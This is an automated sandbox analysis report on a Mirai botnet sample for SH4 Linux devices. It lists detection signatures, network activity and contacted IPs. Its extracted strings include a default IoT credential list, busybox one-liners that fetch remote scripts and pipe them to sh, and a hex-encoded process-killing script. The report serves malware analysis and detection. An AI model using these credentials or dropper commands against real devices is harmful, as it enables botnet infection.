Linux Analysis Report
la.bot.sh4.elf

Overview

General Information

Sample name: la.bot.sh4.elf
Analysis ID: 1543694
MD5: 88a3723e1db5f61e9fe3f127b2862578
SHA1: 23770b29e1b88c265cff1a448a0f1c73f342191e
SHA256: 171c632f4f41a924509fc48dbd28eb681158a586cb177d1510923108c66e2776
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai
Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.sh4.elf ReversingLabs: Detection: 31%
Found strings indicative of a multi-platform dropper
Source: la.bot.sh4.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sh4.elf String: l/proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient/dev/watchdog/dev/misc/watchdogM
Source: la.bot.sh4.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 1,2,5,6,7,27651
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:53876 -> 103.253.147.242:27651
Sample listens on a socket
Source: /tmp/la.bot.sh4.elf (PID: 6226) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 145.134.42.154
Source: unknown TCP traffic detected without corresponding DNS query: 7.45.39.182
Source: unknown TCP traffic detected without corresponding DNS query: 145.134.42.154
Source: unknown TCP traffic detected without corresponding DNS query: 7.45.39.182
Source: unknown TCP traffic detected without corresponding DNS query: 36.40.53.121
Source: unknown TCP traffic detected without corresponding DNS query: 93.160.186.53
Source: unknown TCP traffic detected without corresponding DNS query: 36.40.53.121
Source: unknown TCP traffic detected without corresponding DNS query: 144.142.152.176
Source: unknown TCP traffic detected without corresponding DNS query: 93.160.186.53
Source: unknown TCP traffic detected without corresponding DNS query: 182.138.200.251
Source: unknown TCP traffic detected without corresponding DNS query: 144.142.152.176
Source: unknown TCP traffic detected without corresponding DNS query: 49.134.153.166
Source: unknown TCP traffic detected without corresponding DNS query: 182.138.200.251
Source: unknown TCP traffic detected without corresponding DNS query: 154.140.192.206
Source: unknown TCP traffic detected without corresponding DNS query: 49.134.153.166
Source: unknown TCP traffic detected without corresponding DNS query: 124.86.119.89
Source: unknown TCP traffic detected without corresponding DNS query: 154.140.192.206
Source: unknown TCP traffic detected without corresponding DNS query: 209.130.230.124
Source: unknown TCP traffic detected without corresponding DNS query: 33.207.158.247
Source: unknown TCP traffic detected without corresponding DNS query: 124.86.119.89
Source: unknown TCP traffic detected without corresponding DNS query: 47.134.217.99
Source: unknown TCP traffic detected without corresponding DNS query: 160.23.247.108
Source: unknown TCP traffic detected without corresponding DNS query: 209.130.230.124
Source: unknown TCP traffic detected without corresponding DNS query: 135.131.43.164
Source: unknown TCP traffic detected without corresponding DNS query: 33.207.158.247
Source: unknown TCP traffic detected without corresponding DNS query: 174.50.180.193
Source: unknown TCP traffic detected without corresponding DNS query: 47.134.217.99
Source: unknown TCP traffic detected without corresponding DNS query: 199.159.253.42
Source: unknown TCP traffic detected without corresponding DNS query: 160.23.247.108
Source: unknown TCP traffic detected without corresponding DNS query: 140.238.163.201
Source: unknown TCP traffic detected without corresponding DNS query: 135.131.43.164
Source: unknown TCP traffic detected without corresponding DNS query: 166.94.85.131
Source: unknown TCP traffic detected without corresponding DNS query: 174.50.180.193
Source: unknown TCP traffic detected without corresponding DNS query: 37.224.134.50
Source: unknown TCP traffic detected without corresponding DNS query: 199.159.253.42
Source: unknown TCP traffic detected without corresponding DNS query: 15.154.249.73
Source: unknown TCP traffic detected without corresponding DNS query: 140.238.163.201
Source: unknown TCP traffic detected without corresponding DNS query: 101.48.183.147
Source: unknown TCP traffic detected without corresponding DNS query: 166.94.85.131
Source: unknown TCP traffic detected without corresponding DNS query: 139.225.9.4
Source: unknown TCP traffic detected without corresponding DNS query: 37.224.134.50
Source: unknown TCP traffic detected without corresponding DNS query: 148.25.158.233
Source: unknown TCP traffic detected without corresponding DNS query: 15.154.249.73
Source: unknown TCP traffic detected without corresponding DNS query: 101.48.183.147
Source: unknown TCP traffic detected without corresponding DNS query: 179.161.79.165
Source: unknown TCP traffic detected without corresponding DNS query: 139.225.9.4
Source: unknown TCP traffic detected without corresponding DNS query: 148.25.158.233
Source: unknown TCP traffic detected without corresponding DNS query: 18.168.83.23
Source: unknown TCP traffic detected without corresponding DNS query: 179.161.79.165
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn
Source: la.bot.sh4.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sh4.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sh4.elf (PID: 6228) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal68.troj.evad.linELF@0/0@1/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.sh4.elf (PID: 6229) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.sh4.elf (PID: 6229) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6229) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6229) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6229) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6229) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6229) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6229) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6229) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6229) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6229) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/840/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 6228) File opened: /proc/82/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.sh4.elf (PID: 6229) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sh4.elf (PID: 6226) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sh4.elf, 6226.1.00007ffddb963000.00007ffddb984000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: la.bot.sh4.elf, 6226.1.00007ffddb963000.00007ffddb984000.rw-.sdmp Binary or memory string: |x86_64/usr/bin/qemu-sh4/tmp/la.bot.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sh4.elf
Source: la.bot.sh4.elf, 6226.1.000055788d8b4000.000055788d917000.rw-.sdmp Binary or memory string: xU5!/etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 6226.1.000055788d8b4000.000055788d917000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: dump.pcap, type: PCAP

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: dump.pcap, type: PCAP

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
144.81.9.5
 unknown United States
62989 IUPUS false
82.139.68.128
 unknown Netherlands
29314 VECTRANET-ASAlZwyciestwa25381-525GdyniaPolandPL false
102.195.22.112
 unknown unknown
36926 CKL1-ASNKE false
140.119.158.183
 unknown Taiwan; Republic of China (ROC)
17716 NTU-TWNationalTaiwanUniversityTW false
40.185.118.19
 unknown United States
4249 LILLY-ASUS false
219.52.199.209
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
55.13.168.67
 unknown United States
346 DNIC-ASBLK-00306-00371US false
32.57.208.177
 unknown United States
7018 ATT-INTERNET4US false
125.162.148.0
 unknown Indonesia
7713 TELKOMNET-AS-APPTTelekomunikasiIndonesiaID false
135.77.36.26
 unknown United States
18676 AVAYAUS false
4.240.187.37
 unknown United States
3356 LEVEL3US false
82.134.163.18
 unknown Netherlands
8542 BKK-DIGITEK-AS8542NorwayNO false
152.97.195.102
 unknown United States
21766 BEN-LOMAND-TELUS false
120.160.81.21
 unknown Indonesia
4761 INDOSAT-INP-APINDOSATInternetNetworkProviderID false
35.159.76.1
 unknown United States
16509 AMAZON-02US false
174.168.207.72
 unknown United States
7922 COMCAST-7922US false
149.85.67.148
 unknown United States
19580 ART-LLCUS false
93.1.154.97
 unknown France
15557 LDCOMNETFR false
211.65.217.237
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
203.86.203.192
 unknown New Zealand
23655 SNAP-NZ-ASSnapInternetLimitedNZ false
104.120.248.243
 unknown United States
1299 TELIANETTeliaCarrierEU false
199.219.149.206
 unknown United States
701 UUNETUS false
21.197.31.141
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
163.173.54.89
 unknown France
2200 FR-RENATERReseauNationaldetelecommunicationspourlaTec false
46.229.71.58
 unknown Russian Federation
25549 AVANTEL-ASRU false
133.180.127.212
 unknown Japan 385 AFCONC-BLOCK1-ASUS false
154.6.118.86
 unknown United States
174 COGENT-174US false
123.147.211.196
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
150.238.124.27
 unknown United States
36351 SOFTLAYERUS false
40.218.241.78
 unknown United States
4249 LILLY-ASUS false
178.140.52.100
 unknown Russian Federation
42610 NCNET-ASRU false
132.110.44.39
 unknown United States
306 DNIC-ASBLK-00306-00371US false
109.161.76.251
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
11.241.102.244
 unknown United States
3356 LEVEL3US false
153.234.176.162
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
28.71.181.149
 unknown United States
7922 COMCAST-7922US false
52.153.173.38
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
148.116.165.182
 unknown United States
396982 GOOGLE-PRIVATE-CLOUDUS false
21.13.109.227
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
157.1.217.97
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
145.3.117.138
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
12.241.53.50
 unknown United States
7018 ATT-INTERNET4US false
95.235.168.8
 unknown Italy
3269 ASN-IBSNAZIT false
68.202.53.130
 unknown United States
33363 BHN-33363US false
38.184.215.226
 unknown United States
174 COGENT-174US false
162.1.120.80
 unknown United States
27353 IUHEALTH-ASNUS false
159.246.169.82
 unknown United States
29899 GEISINGERUS false
84.228.94.143
 unknown Israel
9116 GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste false
18.104.120.64
 unknown United States
3 MIT-GATEWAYSUS false
59.154.60.44
 unknown Australia
7474 OPTUSCOM-AS01-AUSingTelOptusPtyLtdAU false
149.215.12.164
 unknown Germany
5605 NETUSEDE false
79.138.125.189
 unknown Sweden
45011 SE-A3httpwwwa3seSE false
131.4.211.197
 unknown United States
